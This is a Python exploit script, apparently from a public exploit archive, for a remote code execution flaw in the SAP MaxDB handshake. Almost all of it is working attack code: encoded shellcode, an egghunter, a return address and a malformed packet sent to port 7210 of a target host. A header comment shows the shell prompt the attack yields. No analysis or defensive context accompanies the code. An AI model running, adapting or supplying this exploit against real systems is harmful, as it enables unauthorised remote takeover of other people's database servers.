SAP MaxDB Malformed Handshake Request Remote Code Execution

#!/usr/bin/python # Exploit title: SAP MaxDB Malformed Handshake Request Remote Code Execution # Date: 2010.03.26 # Author: S2 Crew [Hungary] # Software link: sap.com<http://sap.com> # Version: 7.7.06.09 # Tested on: Windows XP SP2 EN # CVE: ZDI-10-032 # Code: ############################################################# # Trying 172.16.29.133... # Connected to 172.16.29.133. # Escape character is '^]'. # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\sdb\data\wrk> ############################################################# import socket import sys import os sc = ( "\x31\xc9\xda\xda\xbe\x94\x3f\xbe\xea\xb1\x56\xd9\x74\x24\xf4" "\x5f\x31\x77\x17\x03\x77\x17\x83\xef\xfc\x76\xca\x42\x02\xff" "\x35\xbb\xd3\x9f\xbc\x5e\xe2\x8d\xdb\x2b\x57\x01\xaf\x7e\x54" "\xea\xfd\x6a\xef\x9e\x29\x9c\x58\x14\x0c\x93\x59\x99\x90\x7f" "\x99\xb8\x6c\x82\xce\x1a\x4c\x4d\x03\x5b\x89\xb0\xec\x09\x42" "\xbe\x5f\xbd\xe7\x82\x63\xbc\x27\x89\xdc\xc6\x42\x4e\xa8\x7c" "\x4c\x9f\x01\x0b\x06\x07\x29\x53\xb7\x36\xfe\x80\x8b\x71\x8b" "\x72\x7f\x80\x5d\x4b\x80\xb2\xa1\x07\xbf\x7a\x2c\x56\x87\xbd" "\xcf\x2d\xf3\xbd\x72\x35\xc0\xbc\xa8\xb0\xd5\x67\x3a\x62\x3e" "\x99\xef\xf4\xb5\x95\x44\x73\x91\xb9\x5b\x50\xa9\xc6\xd0\x57" "\x7e\x4f\xa2\x73\x5a\x0b\x70\x1a\xfb\xf1\xd7\x23\x1b\x5d\x87" "\x81\x57\x4c\xdc\xb3\x35\x19\x11\x89\xc5\xd9\x3d\x9a\xb6\xeb" "\xe2\x30\x51\x40\x6a\x9e\xa6\xa7\x41\x66\x38\x56\x6a\x96\x10" "\x9d\x3e\xc6\x0a\x34\x3f\x8d\xca\xb9\xea\x01\x9b\x15\x45\xe1" "\x4b\xd6\x35\x89\x81\xd9\x6a\xa9\xa9\x33\x1d\xee\x67\x67\x4d" "\x98\x85\x97\x63\x04\x03\x71\xe9\xa4\x45\x29\x86\x06\xb2\xe2" "\x31\x79\x90\x5e\xe9\xed\xac\x88\x2d\x12\x2d\x9f\x1d\xbf\x85" "\x48\xd6\xd3\x11\x68\xe9\xfe\x31\xe3\xd1\x68\xcb\x9d\x90\x09" "\xcc\xb7\x43\xaa\x5f\x5c\x94\xa5\x43\xcb\xc3\xe2\xb2\x02\x81" "\x1e\xec\xbc\xb4\xe3\x68\x86\x7d\x3f\x49\x09\x7f\xb2\xf5\x2d" "\x6f\x0a\xf5\x69\xdb\xc2\xa0\x27\xb5\xa4\x1a\x86\x6f\x7e\xf0" "\x40\xf8\x07\x3a\x53\x7e\x08\x17\x25\x9e\xb8\xce\x70\xa0\x74" "\x87\x74\xd9\x69\x37\x7a\x30\x2a\x47\x31\x19\x1a\xc0\x9c\xcb" "\x1f\x8d\x1e\x26\x63\xa8\x9c\xc3\x1b\x4f\xbc\xa1\x1e\x0b\x7a" "\x59\x52\x04\xef\x5d\xc1\x25\x3a\x57") egghunter = ( "\x66\x81\xca\xff\x0f\x42\x52\x6a" "\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x54\x30\x30\x57\x8b\xfa" "\xaf\x75\xea\xaf\x75\xe7\xff\xe7" ) host = "172.16.29.133" port = 7210 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) ret = "\x08\xf1\xa0\x00" # HC packet = ( "\x63\x00\x00\x00\x03\x2f\x00\x00\x01\x00\x00\x00" "\xff\xff\xff\xff\x00\x00\x04\x00\x63\x00\x00\x00" "\x00\x02\x4b\x00\x04\x09\x00\x00\x44\x20\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff" "\x6d\x61" + ret + "\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x07\x49" + "A"*5000 + "T00WT00W" + sc + "\x41" * 2500 + egghunter + "\x90"*2500) s.send(packet) s.close()